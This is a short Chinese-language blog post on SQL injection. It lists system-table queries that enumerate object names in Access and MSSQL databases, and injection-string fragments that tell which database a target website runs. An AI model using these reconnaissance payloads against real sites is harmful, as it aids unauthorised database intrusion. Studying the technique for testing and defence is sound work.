我的注入方法之個人見解!

使用直接的查詢語句獲取ACCESS數據庫中的表名/窗體/報表/模塊/查詢/宏
---------------------------------------------------------------------------
查詢:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=5 ORDER BY MSysObjects.Name; 

窗體:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=-32768 ORDER BY MSysObjects.Name; 

表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (Left$([Name],4) <> "Msys") AND (MSysObjects.Type)=1 ORDER BY MSysObjects.Name; 

報表:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32764 ORDER BY MSysObjects.Name; 

模塊:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32761 ORDER BY MSysObjects.Name; 

宏:
SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32766 ORDER BY MSysObjects.Name;

使用直接的查詢語句獲取SQL數據庫表名的方法
-----------------------------------------------------------------------
我們馬上就可以得到該數據庫下用戶表的第一個表名gallery的對象標誌2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2個表名gb_data,這裏用到的是id>2099048,因爲對象標誌id是根據由小到大排列的
以此類推,我們可以得到所有的用戶表的名字了

使用數據庫的系統表對象來判斷網站中使用的是何種數據庫格式(SQL/ACCESS)
-----------------------------------------------------------------------
我們可以在注入串中加上一個查詢語句:
(select count(*) from sysobjects)>=0
如果查詢結果成立,即是使用SQL數據庫的,反之否.

加以下語句可判斷是否爲ACCESS:
(select count(*) from Msysaccessobjects)>=0
如果查詢結果成立,即是ACCESS數據庫,反之否.
發佈了22 篇原創文章 · 獲贊 5 · 訪問量 14萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章